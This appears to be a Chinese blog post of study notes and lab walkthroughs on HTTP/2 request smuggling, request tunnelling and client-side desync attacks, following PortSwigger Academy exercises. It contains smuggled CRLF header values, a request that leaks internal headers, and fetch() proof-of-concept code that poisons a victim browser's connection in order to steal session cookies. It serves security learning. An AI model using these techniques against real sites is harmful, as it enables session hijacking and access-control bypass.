另一方面,由于HTTP/2消息是二进制而非基于文本的,每个标头的边界是基于明确的、预定的偏移量,而不是分隔符字符。这意味着\r在标头值内部不再具有任何特殊意义,因此可以在值本身内部包含,而不会导致标头分割:

foo bar\r\nTransfer-Encoding: chunked

虽然这本身看起来相对无害,但是当这个请求被重写为HTTP/1请求时,\r将再次被解释为标头分隔符。因此,HTTP/1后端服务器会看到两个不同的标头:

Foo: bar
Transfer-Encoding: chunked

通过CRLF注入的HTTP/2请求走私

image-20251113214557517
发包之后等待15s

image
image
带着session访问就能成功

通过头名注入

在HTTP/1中,头名不可能有冒号,因为该字符用于向解析器指示头名的结尾。而在HTTP/2中就不是这样。
通过将冒号与\r\n字符结合使用,我们可以使用HTTP/2头的名称字段让其他头通过前端过滤器。一旦使用HTTP/1语法重写请求,这些将在后端被解释为单独的头:
image

获取成功

通过伪头注入

HTTP/2不使用请求行或状态行。相反,此数据通过请求前面的一系列"伪头"传递。在HTTP/2消息的基于文本的表示中,这些通常以冒号为前缀,以帮助将它们与普通头区分开来。一共有五个伪头:

  • :method - 请求方法
  • :path - 请求路径。包括查询字符串。
  • :authority - 大致相当于HTTP/1Host头。
  • :scheme - 梨子暂且叫它协议头,一般为http、https
  • :status - 响应码(不会用在请求中)

当网站将请求降级为HTTP/1时,它们会使用其中一些伪头的值来动态构建请求行。这启用了一些有趣的新方法来构建攻击。

提供一个模棱两可的Host

尽管HTTP/1Host头已被HTTP/2中的:authority伪头有效替换,但我们仍然可以在请求中发送主机标头。
在某些情况下,这可能会导致在重写的HTTP/1请求中出现两个Host头,例如,这为绕过前端"重复Host头"过滤器提供了另一种可能性。这可能会使该站点容易受到一系列Host头攻击。

提供一个模棱两可的路径

由于请求行的解析方式,在HTTP/1中不可能尝试发送具有模棱两可的路径的请求。但由于HTTP/2中的路径是使用伪头指定的,因此现在可以发送具有两个不同路径的请求,如下所示:
image-20251113221130129
如果由网站的访问控制验证的路径与用于路由请求的路径之间存在差异,这可能使我们能够访问原本不受限制的端点。

注入一个完整的请求行

在降级期间,:method伪头的值将被写入生成的HTTP/1请求的最开头。如果服务器允许在:method值中包含空格,我们可以注入一个完全不同的请求行,如下所示:

image-20251113221154144
只要服务器还容忍请求行中的任意尾随字符,这就提供了另一种创建具有模棱两可的路径的请求的方法。

注入一个URL前缀

HTTP/2的另一个有趣的特性是能够使用:scheme伪头在请求本身中显式指定协议头。虽然这通常只包含http或https,但我们可以包含任意值。
例如,当服务器使用:scheme头动态生成URL时,这会很有用。在这种情况下,我们可以向URL添加前缀,甚至可以通过将真实URL推入查询字符串来完全覆盖它:
image

向伪头中注入新行

注入:path:method伪头时,我们需要确保生成的HTTP/1请求仍然具有有效的请求行。
由于\r\n终止了HTTP/1中的请求行,简单地在中途添加\r\n只会中断请求。降级后,重写的请求必须在注入的第一个\r\n之前包含以下序列:

<method> + space + <path> + space + HTTP/1.1

只需想象注入在此序列中的位置,并相应地包括所有剩余部分。比如注入:path时,需要在\r\n前加一个空格和HTTP/1.1,如下:

image
请注意,在这种情况下,我们还添加了一个任意尾随标头来捕获在重写期间自动添加的空格和协议。

HTTP/2请求拆分

当我们研究响应队列投毒时,你学会了如何在后端将单个HTTP请求精确地分割成两个完整的请求。在我们看的那个示例中,分割发生在消息正文中,但是当HTTP/2降级时,你还可以使这种分割发生在标头中。

这种方法更具通用性,因为不依赖于使用允许包含一个正文的请求方法。例如,你甚至可以使用一个GET请求:
image

content-length经过验证且后端不支持分块编码的情况下,这也是有用的。

交代前端重写

要在头中拆分请求,我们需要了解前端服务器如何重写请求,并在手动添加任何HTTP/1头时考虑到这一点。否则,其中一个请求可能缺少强制头。
例如,我们需要确保后端收到的两个请求都包含Host头。前端服务器通常会在降级期间剥离:authority伪头并将其替换为新的HTTP/1Host头。执行此操作有不同的方法,这可能会影响需要将要注入的Host头放置在何处。
我们看看下面的请求:
image
在重写期间,一些前端服务器将新的Host头附加到当前头列表的末尾。就HTTP/2前端而言,this在foo头之后。请注意,这也是在请求将在后端拆分的点之后。这意味着第一个请求根本没有Host头,而走私的请求会有两个。在这种情况下,我们需要定位注入的Host头,以便在发生拆分后它最终出现在第一个请求中:
image
我们还需要调整要以类似方式注入的任何内部头的位置。

配套靶场:利用CRLF注入的HTTP/2请求拆分

这道题是要利用响应队列投毒窃取管理员的凭证然后删除carlos这个用户。然后要利用CRLF注入,所以我们要利用这个Inspector添加一个头:
image
image

HTTP请求隧道

前面我们介绍的许多请求走私攻击都是可能的,因为前端和后端之间的相同连接处理多个请求。虽然一些服务器会为任何请求重用连接,但其他服务器有更严格的策略。
例如,某些服务器只允许来自同一IP地址或同一客户端的请求重用连接。其他人根本不会重用连接,这限制了我们可以通过经典请求走私实现的目标,因为没有明显的方法来影响其他用户的流量。
image
虽然不能通过投毒套接字来干扰其他用户的请求,但仍然可以发送一个请求,该请求会从后端引发两个响应。这可能使我们能够从前端完全隐藏请求及其匹配的响应。
image
我们可以使用此技术绕过前端安全措施,不然这些措施可能会阻止发送某些请求。事实上,即使是一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道。
以这种方式将请求传送到后端提供了一种更有限的请求走私形式,但它仍然可能导致高危漏洞。

使用HTTP/2的请求隧道

HTTP/1和HTTP/2都可以使用请求隧道,但在仅HTTP/1的环境中检测起来要困难得多。由于持久(keep-alive)连接在HTTP/1中的工作方式,即使收到两个响应,也不一定确认请求已成功走私。
另一方面,在HTTP/2中,每个"流(stream)"应该只包含一个请求和响应。如果收到一个HTTP/2响应,正文中似乎是一个HTTP/1响应,就可以确定已经成功地通过隧道传输了第二个请求。

通过HTTP/2请求隧道泄漏内部头

当请求隧道是我们唯一的选择时,那将无法使用我们之前介绍的技术来泄漏内部头,但HTTP/2降级可以提供替代解决方案。
我们可能会欺骗前端将内部头附加到后端的主体参数中。假设我们发送了一个看起来像这样的请求:
image
在这种情况下,前端和后端都同意只有一个请求。有趣的是,可以让他们在标题结束的位置上意见不一。
前端将我们注入的所有内容视为头的一部分,因此在尾随comment=字符串之后添加任何新头。另一方面,后端看到\r\n\r\n序列并认为这是头的结尾。comment=字符串和内部头一起被视为正文的一部分。结果是一个comment参数,其值是内部头。

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3
x=1

盲的请求隧道

一些前端服务器读入它们从后端接收到的所有数据。这意味着,如果我们成功通过隧道请求,它们可能会将两个响应转发给客户端,并且对隧道请求的响应嵌套在主响应的主体中。
其他前端服务器仅读取响应的Content-Length头中指定的字节数,因此仅将第一个响应转发给客户端。这会导致盲的请求隧道漏洞,因为我们将无法看到对隧道请求的响应。

使用HEAD的非盲的的请求隧道

盲的请求隧道可能很难利用,但我们偶尔可以通过使用HEAD请求使这些漏洞成为非盲的。
HEAD请求的响应通常包含一个content-length头,即使它们没有自己的正文。这通常是指将由GET请求返回到同一端点的资源的长度。一些前端服务器无法解决这个问题,并且无论如何都会尝试读取头中指定的字节数。如果成功地通过执行此操作的前端服务器传送请求,则此行为可能会导致它过度读取来自后端的响应。因此,我们收到的响应可能包含从响应开始到隧道请求的字节。

image
当我们有效地将一个响应的content-length头与另一个响应的主体混合时,成功使用此技术是一种平衡行为。
如果我们向其发送HEAD请求的端点返回的资源比尝试读取的隧道响应短,则它可能会在看到任何有趣的内容之前被截断,如上例所示。另一方面,如果返回的content-length比对隧道请求的响应长,可能会遇到超时,因为前端服务器等待额外的字节从后端到达。
幸运的是,通过反复试验,我们通常可以使用以下解决方案之一克服这些问题:

  • HEAD请求指向不同的端点,该端点根据需要返回更长或更短的资源。
  • 如果资源太短,请在主HEAD请求中使用反射输入来注入任意填充字符。即使实际上不会看到输入被反映出来,返回的content-length仍会相应增加。
  • 如果资源太长,请在隧道请求中使用反射输入来注入任意字符,以便隧道响应的长度匹配或超过预期内容的长度。

配套靶场:通过HTTP/2请求隧道绕过访问控制

这道题是需要利用我们刚才学的HTTP/2请求隧道技术以管理员身份删除carlos用户。我们先添加一个畸形的头。image-20251114145544625
image
image

image
image

通过HTTP/2请求隧道的Web缓存投毒

尽管请求隧道通常比经典请求走私更受限制,但有时我们仍然可以构建高严重性攻击。例如,我们能够结合我们目前已经研究过的请求隧道技术,以获得一种非常强大的Web缓存投毒。
使用非盲请求隧道,我们可以有效地将一个响应头与另一个响应的主体混合和匹配。如果正文中的响应反映了未编码的用户输入,可以在浏览器通常不会执行代码的上下文中利用此行为来反射XSS。
例如,以下响应包含未编码的、攻击者可控的输入:
image

就其本身而言,这是相对无害的。Content-Type意味着此payload将被浏览器简单地解释为JSON。但是如果改为将请求隧道化到后端,会发生什么情况。此响应将出现在不同响应的主体内,有效地继承其头,包括content-type
image
由于缓存发生在前端,缓存也可以被欺骗为其他用户提供这些混合响应。

实验坏了

浏览器驱动的请求走私

在本节中,我们将了解如何在不依赖浏览器永远不会发送的格式错误的请求的情况下进行高危攻击。这不仅将一系列全新的网站暴露给服务器端请求走私,还使我们能够通过诱导受害者的浏览器毒害其与存在漏洞的Web服务器(中间件)的连接来执行这些攻击的客户端变体。

CL.0请求走私

请求走私漏洞是成链的系统如何确定每个请求的开始与结束位置差异的结果。这通常是由于头解析不一致,导致一台服务器使用请求的Content-Length而另一台服务器将消息视为分块处理。但是,我们可以在不依赖这些问题的情况下执行许多相同的攻击。
在某些情况下,可以说服服务器忽略Content-Length头,这意味着它们假设每个请求都在标头的末尾完成。这实际上与将Content-Length视为0相同。
如果后端服务器表现出这种行为,但前端仍然使用将Content-Length头来确定请求的结束位置,则可能会利用这种差异进行HTTP请求走私。

测试CL.0漏洞

要探测CL.0漏洞,首先发送一个在其正文中包含另一个部分请求的请求,然后发送一个正常的后续请求。然后我们可以检查后续请求的响应是否受到走私前缀的影响。
在下面的示例中,对主页的后续请求收到了404响应。这强烈表明后端服务器将POST请求的主体(GET /hopefully404...)解释为另一个请求的开始
image
至关重要的是,请注意我们没有以任何方式篡改头 - 请求的长度由完全正常、准确的Content-Length标头指定。
使用Burp Repeater自己尝试一下:

  1. 创建一个包含设置请求的选项卡和另一个包含任意后续请求的选项卡。
  2. 以正确的顺序将这两个选项卡添加到一个组中。
  3. 使用Send按钮旁边的下拉菜单,将发送模式更改为Send group in sequence (single connection)
  4. Connection头更改为keep-alive状态。
  5. 发送序列并检查响应。

在野外,我们主要在根本不期望POST请求的端点上观察到这种行为,因此它们隐含地假设没有请求有主体。触发服务器级重定向和静态文件请求的端点是主要候选者。

引发CL.0行为

如果我们找不到任何看起来容易受到攻击的端点,可以尝试引发此行为。
当请求的头触发服务器错误时,某些服务器会发出错误响应,而不会消耗套接字上的请求主体。如果他们之后不关闭连接,这可以提供替代的CL.0异步矢量。
我们还可以尝试使用带有混淆的Content-Length头的GET请求。如果能够从后端服务器而不是前端隐藏它,这也有可能导致不同步。在介绍TE.TE请求走私时,我们研究了一些头混淆技术。
image-20251114184611737
image-20251114190021141
image
image
image
image
image

H2.0漏洞

如果后端服务器忽略降级请求的Content-Length头,则将HTTP/2请求降级为HTTP/1的网站可能容易受到等效的"H2.0"问题的影响。

客户端异步攻击

经典的异步或请求走私攻击依赖于普通浏览器根本不会发送的故意格式错误的请求。这会限制这些针对使用前端/后端架构的网站的攻击上。然而,正如我们从CL.0攻击中了解到的那样,使用完全与浏览器兼容的HTTP/1.1请求可能导致不同步。这不仅为服务器端请求走私开辟了新的可能性,还带来了一种全新的威胁——客户端异步攻击。

什么是客户端异步攻击?

客户端异步(CSD)是一种攻击,它使受害者的Web浏览器不同步其自身与存在漏洞的网站的连接。这可以与常规请求走私攻击形成对比,后者使前端和后端服务器之间的连接不同步。

image
有时可以鼓励Web服务器在不读取正文的情况下响应POST请求。如果它们随后允许浏览器为其他请求重用相同的连接,则会导致客户端不同步漏洞。
用高级术语来说,CSD攻击涉及以下阶段:

  1. 受害者访问包含恶意JavaScript的任意域上的网页。
  2. JavaScript使受害者的浏览器向存在漏洞的网站发出请求。在其主体中包含一个攻击者控制的请求前缀,很像正常的请求走私攻击。
  3. 响应初始请求后,恶意前缀会留在服务器的TCP/TLS套接字上,从而与浏览器断开连接。
  4. 然后,JavaScript会触发中毒连接的后续请求。这会附加到恶意前缀,从而引起服务器的有害响应。

由于这些攻击不依赖于解析两台服务器之间的差异,这意味着即使是单服务器网站也可能容易受到攻击。
要使这些攻击起作用,请务必注意目标Web服务器不得支持 HTTP/2。客户端不同步依赖于HTTP/1.1连接重用,而浏览器通常支持可用的HTTP/2。

测试客户端异步漏洞

由于依赖浏览器进行攻击会增加复杂性,因此在测试客户端异步漏洞时保持有条不紊非常重要。虽然有时可能很想跳到前面,但我们推荐以下工作流程。这可确保我们分阶段确认对攻击的每个元素的假设。

  • 探测Burp中潜在的异步向量。
  • 确认Burp中的异步向量。
  • 构造POC复现浏览器中的行为
  • 识别可利用的利用链
  • 在Burp中构造有效的利用
  • 在浏览器中复现利用

Burp Scanner和HTTP Request Smuggler扩展都可以帮助我们自动执行此过程的大部分内容,但了解如何手动执行此操作有助于巩固对其工作原理的理解。

探测Burp中潜在的异步向量

测试客户端异步漏洞的第一步是识别或制作导致服务器忽略Content-Length头的请求。探测此行为的最简单方法是发送一个请求,其中指定的Content-Length比实际正文长:

  • 如果请求只是挂起或超时,这表明服务器正在等待标头承诺的剩余字节。
  • 如果立即得到回应,我们可能已经找到了CSD载体。这值得进一步调查。

与CL.0漏洞一样,我们发现最有可能的候选者是不期望POST请求的端点,例如静态文件或服务器级重定向。
或者,我们可以通过触发服务器错误来引发此行为。在这种情况下,请记住仍然需要浏览器发送跨域请求。实际上,这意味着只能篡改URL、正文以及一些零碎的东西,例如Referer头和Content-Type头的后半部分。
image
我们还可以通过尝试在Web根目录上方导航来触发服务器错误。请记住,浏览器会规范化路径,因此需要对遍历序列的字符进行URL编码:

image

确认Burp中的异步向量

重要的是要注意一些安全服务器在不等待正文的情况下做出响应,但在它到达时仍然正确地解析它。其他服务器不能正确处理Content-Length,而是在响应后立即关闭连接,使它们无法利用。
要过滤掉这些,请尝试在同一连接下发送两个请求,看看是否可以使用第一个请求的主体来影响对第二个请求的响应,就像在探测CL.0请求走私时所做的那样。

构造POC复现浏览器中的行为

一旦您使用Burp确定了合适的向量,确认可以在浏览器中复现异步是很重要的。

  1. 转到计划对受害者发起攻击的站点。这必须与存在漏洞的站点位于不同的域中,并且可以通过HTTPS访问。
  2. 打开浏览器的开发人员工具并转到"Network"选项卡。
  3. 进行以下调整:
    这确保浏览器发送的每个请求都记录在"Network"选项卡上,连同它使用的连接的详细信息。这有助于以后解决任何问题。
    • 选择"Preserve log"选项。
    • 右键单击标题并启用"Connection ID"列。
  4. 切换到"console"选项卡并使用fetch()复制Burp中测试的异步探测。代码应如下所示:
fetch('https://vulnerable-website.com/vulnerable-endpoint', {
method: 'POST',
body: 'GET /natsuk0 HTTP/1.1\r\nNatsuk0: natsuk0', //恶意前缀
mode: 'no-cors', // 确保Connection ID在"Network"选项卡中可见
credentials: 'include' // 向"with-cookies"连接池投毒
}).then(() => {
location = 'https://vulnerable-website.com/' // 使用中毒的连接
})

除了指定POST方法并将我们的恶意前缀添加到正文之外,请注意我们还设置了以下选项:
运行此命令时,我们应该会在"Network"选项卡上看到两个请求。第一个请求应该收到通常的响应。如果第二个请求收到对恶意前缀的响应(在本例中为404),则这确认已成功触发浏览器的异步。
* mode: 'no-cors' - 这可以确保每个请求的"Connection ID"在"Network"选项卡上可见,这有助于进行故障排除。
* credentials: 'include' - 浏览器通常对带cookie和不带cookie的请求使用单独的连接池。此选项可确保毒害"with-cookies"池,这是大多数漏洞利用所需的。

浏览器要求
为了减少任何干扰的可能性并确保测试尽可能模拟任意受害者的浏览器:

  • 使用不通过Burp Suite代理流量的浏览器——使用任何HTTP代理都可能对攻击的成功产生重大影响。我们推荐Chrome,因为它的开发者工具提供了一些有用的故障排除功能。
  • 禁用任何浏览器扩展。

处理重定向

正如我们已经提到的,触发服务器级重定向的端点请求是客户端异步的常见向量。在构建漏洞时,这会有一个小障碍,因为浏览器将遵循此重定向,从而破坏攻击序列。值得庆幸的是,有一个简单的解决方法。
通过为初始请求设置mode: 'cors'选项,我们可以故意触发CORS错误,从而阻止浏览器遵循重定向。然后通过调用catch()而不是then()来恢复攻击序列。例如:

fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /natsuk0 HTTP/1.1\r\nNatsuk0: natsuk0',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})

这种方法的缺点是无法在"Network"选项卡上看到Connection ID,这可能会使故障排除更加困难。

利用客户端异步漏洞

找到合适的向量并确认可以成功导致浏览器异步后,就可以开始寻找可利用的工具链了。

经典攻击的客户端变体

我们可以使用这些技术来执行许多与服务器端请求走私相同的攻击。我们所需要的只是让受害者访问一个导致其浏览器发起攻击的恶意网站。

配套靶场:客户端异步

这道题需要利用客户端异步获取到对方的会话cookie。这道题不太好做啊,我们只能按照步骤一步一步来。
识别存在漏洞的端点
我们注意到访问网站根目录会触发到/en的重定向,所以我们就选择它了。把根目录的请求发到Repeater。然后关掉自动更新Content-Length的选项。包体置空并且将Content-Length设置为大于0的数值,然后重放。发现马上得到响应,说明它忽略了我们指定的Content-Length的值。
image
image
image
image

fetch('https://zxc.h1-web-security-academy.net', {
    method: 'POST',
    body: 'GET /zxc HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include',
}).catch(() => {
        fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', {
        mode: 'no-cors',
        credentials: 'include'
    })
})
posted @ 2025-11-15 15:12  z3xc  阅读(25)  评论(0)    收藏  举报